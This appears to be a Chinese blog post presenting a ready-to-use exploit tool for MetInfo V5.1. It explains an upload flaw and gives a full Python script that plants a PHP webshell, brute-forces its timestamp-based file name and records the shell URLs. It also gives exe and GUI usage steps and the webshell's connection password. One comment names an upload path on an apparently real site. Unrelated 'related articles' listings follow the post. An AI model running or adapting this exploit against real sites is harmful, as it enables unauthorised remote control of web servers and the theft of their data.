MetInfo V5.1 GetShell一键化工具
漏洞解析:
config/config.inc.php
$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'");
if(!$langoks)die('No data in the database,please reinstall.');
if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html');
if(count($met_langok)==1)$lang=$met_index_type;
$query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";//看这里
$result = $db->query($query);
while($list_config= $db->fetch_array($result)){
if($metinfoadminok)$list_config['value']=str_replace('"', '"', str_replace("'", ''',$list_config['value']));
$settings_arr[]=$list_config;
if($list_config['columnid']){
$settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value'];
}else{
$settings[$list_config['name']]=$list_config['value'];
}
}
@extract($settings);
访问
http:///localhost/metinfo5.1/index.php?lang=metinfo
SELECT * FROM met_config WHERE lang='metinfo' or lang='metinfo'
文件命名方式:
/feedback/uploadfile_save.php
srand((double)microtime() * 1000000);
$rnd = rand(100, 999);
$name = date('U') + $rnd;
$name = $name.".".$ext;
文件保存在/upload/file/目录
命名方式就是时间戳去掉后三位,紧接着一个三位数的随机数
可爆破:
如
http://127.0.0.1/upload/file/1465394396.php
一键化利用工具:
本程序基于python编写
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import requests
import Queue
import threading
import time
import sys
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.10 Safari/537.36'}
urls = Queue.Queue()
#http://hb.jhxjd.com/upload/file/1441445378.php
def bp(urls,time_out):
while not urls.empty():
base_url = urls.get()
response = None
try:
time.sleep(int(time_out))#延时设置
response = requests.get(base_url,headers=headers)
if response.status_code == 404:
print 'Not Fount----%s\n' % base_url
except:
continue
finally:
if response:
with open('url.txt','a+') as f:
f.write('%s?e=YXNzZXJ0\n'%base_url)
def main(target_url,thread_num,time_out):
#取出当前时间戳并删除后四位
now = str(int(time.time()))[:-4]
#将所有的待爆破地址遍历并加入队列
for i in range(0,10):
for j in range(100,1000):
num_str = ''.join((str(i),str(j)))
url = ''.join(('%s/upload/file/%s' % (target_url,now),num_str,'.php'))
urls.put(url)
#上传文件
with open('xiaoma.php','w+') as fi:
fi.write("<?php $e = $_REQUEST['e'];register_shutdown_function(base64_decode($e), $_REQUEST['Akkuman']);?>")
data = {
'fd_para[1][para]':'filea',
'fd_para[1][type]':'5'
}
files = {'filea': open("xiaoma.php", 'rb')}
upload_url = '%s/feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo' % target_url
res = requests.post(upload_url,data = data,files=files)
#等待两秒 文件上传
time.sleep(2)
#启动多线程
for i in range(int(thread_num)):
t = threading.Thread(target = bp,args=(urls,time_out,))
t.start()
if __name__ == '__main__':
if len(sys.argv) != 4:
print 'Example : %s http://www.xxx.com 20 0' % sys.argv[0]
else:
main(sys.argv[1],sys.argv[2],sys.argv[3])
程序略显粗糙
为了方便,我也把他打包成了exe
然后闲着没事,想着简单地给他做了个界面,这样的

文件说明
MetInfo V5.1上传漏洞getshell利用工具
作者 : Akkuman
漏洞原理详见http://www.wooyun.org/bugs/wooyun-2010-0139168
使用说明:
本目录有两个文件,一个py,一个exe
因为exe是py文件打包而成,故文件较大
64位系统测试使用通过如果你安装了py2.x环境 py文件使用方法
打开cmd
python baopo.py http://www.xxx.com 20 0
20是线程数,0是每次请求等待时间(网站限制时可设置为2或3)可以自己指定exe命令行文件使用方法
打开cmd
baopo.exe http://www.xxx.com 20 0
20是线程数,0是每次请求等待时间(网站限制时可设置为2或3)可以自己指定GUI程序,应该不用说
关于getshell与结果
上传的是回调一句话木马<?php >$e=$_REQUEST['e'];register_shutdown_function(base64_decode($e),$_>REQUEST['Akkuman']);?>
菜刀连接,密码是Akkuman
爆破结果会生成在url.txt
下载地址:
转载请注明出处
作者博客 hacktech.cn | akkuman.cnblogs.com
MetInfo V5.1 GetShell一键化工具的更多相关文章
- Asp.net Core Jenkins Docker 实现一键化部署
写在前面 在前段时间尝试过用Jenkins来进行asp.net core 程序在IIS上面的自动部署.大概的流程是Jenkins从git上获取代码 最开始Jenkins是放在Ubuntu的Docker ...
- 【6年开源路】海王星给你好看!FineUI v4.0正式版暨《FineUI3to4一键升级工具》发布!
去年10-28号,我发布了一篇文章<海王星给你好看!FineUI v4.0公测版发布暨<你找BUG我送书>活动开始>,标志着FineUI开始向4.0版本迈进.经过4个月3个公测 ...
- Win8.1、Office2013一键激活工具
Win8.1.Office2013一键激活工具 KMSpico V7.0 是一款激活Win8.Windows8.1和Office2013的工具,由国外网友heldigard基于KMSEmulator制 ...
- 原创: rsync软件服务利用ansible实现一键化部署
---恢复内容开始--- 首先创建一个脚本文件 /server/tools/peizhi.sh cat /server/tools/peizhi.sh cat >>/etc/rsyncd ...
- MongoDB3.6 一键化自动部署方案
1.系统基础配置 下面的命令默认都使用root用户进行操作,操作系统为Centos7,mongodb3.6.x以上版本 1.1 修改系统配置文件/etc/security/limits.conf和/e ...
- gulp前端构建化工具,帮你搞定不同浏览器的兼容性写法问题
.相信所有的前端攻城狮.听到浏览器兼容性问题都深有体会. 浏览器兼容性问题,无非就是因为浏览器内核不同,浏览器对同一段代码有不同的解析,造成页面显示效果不统一的情况.还有就是根据浏览器的版本不同,所兼 ...
- 15-可视化工具Navicat的使用
[转]15-可视化工具Navicat的使用 本节重点: 掌握Navicat的基本使用 # PS:在生产环境中操作MySQL数据库还是推荐使用命令行工具mysql,但在我们自己开发测试时,可以使用可视化 ...
- 利用Google开源Java容器化工具Jib构建镜像
转载:https://blog.csdn.net/u012562943/article/details/80995373 一.前言 容器的出现让Java开发人员比以往任何时候都更接近“编写一次,到处运 ...
- 测试化工具XCTestCase
layout: post title: "Xcode 7智能测试化工具XCTest学习" subtitle: "Xcode 7智能测试化工具XCTest学习" ...
随机推荐
- mac快捷键留存查看
基本的快捷键 Command是Mac里最重要的修饰键,在大多数情况下相当于Windows下的Ctrl.所以以下最基本操作很好理解: Command-Z 撤销 Command-X 剪切 Command- ...
- Protobuf数据类型
protobuf编译文件和源码在点击打开链接 1: 数据类型: double: 浮点数 float: 单精度浮点 int32: int类型,使用可变长编码,编码负数不够高效,如果有负数那么使用si ...
- codeforces 975C Valhalla Siege
题意: 有n个巫师站成一列,每个巫师有自己的血量. 一个人射箭攻击他们,每次造成若干点伤害,巫师按照给定的顺序承受伤害,如果伤害大了,那么死掉,伤害落到下一个巫师身上. 如果一轮攻击之后,所有的巫师都 ...
- 【Hadoop学习之三】Hadoop全分布式安装
环境 虚拟机:VMware 10 Linux版本:CentOS-6.5-x86_64 客户端:Xshell4 FTP:Xftp4 jdk8 hadoop3.1.1 全分布式就是集群,注意配置主机名. ...
- 关于SQL语句中的distinct和group by
两种都能实现去重功能.区别: distinct只是将重复的行从结果中出去: group by是按指定的列分组,一般这时在select中会用到聚合函数. distinct是把不同的记录显示出来 grou ...
- Value '0000-00-00 00:00:00' can not be represented as java.sql.Timestamp
1.问题场景描述:后台方法中执行查询返回list列表中,执行后台产生运行时异常 java.sql.SQLException: 2.问题排查和解决:排查代码,无编译时错误,断点调试,更具控制台找到对应的 ...
- [转载]时间显示插件 flipclock.js
<html> <head> <link rel="stylesheet" href="/assets/css/flipclock.css&q ...
- JAVA基本语法测试
一: 1,JAVA的基本运行单位是类 2,类的成员:成员变量,构造方法,普通方法和内部类 3,成员变量种类:字符类型:char 布尔类型:boolean 数值类型:byte, s ...
- Java程序员秋招面经大合集(BAT美团网易小米华为中兴等)
Cvte提前批 阿里内推 便利蜂内推 小米内推 金山wps内推 多益网络 拼多多学霸批 搜狗校招 涂鸦移动 中国电信it研发中心 中兴 华为 苏宁内推 美团内推 百度 腾讯 招商银行信用卡 招银网络科 ...
- 基于SecureCRT的测试环境的克隆的linux/vi相关命令
#chmod -R 777*; 参数-R:对当前目录下的所有档案与子目录进行相同的权限 变更(即以递归的方式逐个变更). *:通配符,指的是当前目录下的所有文件及目录. 所有文件及其子目录的文件拥有者 ...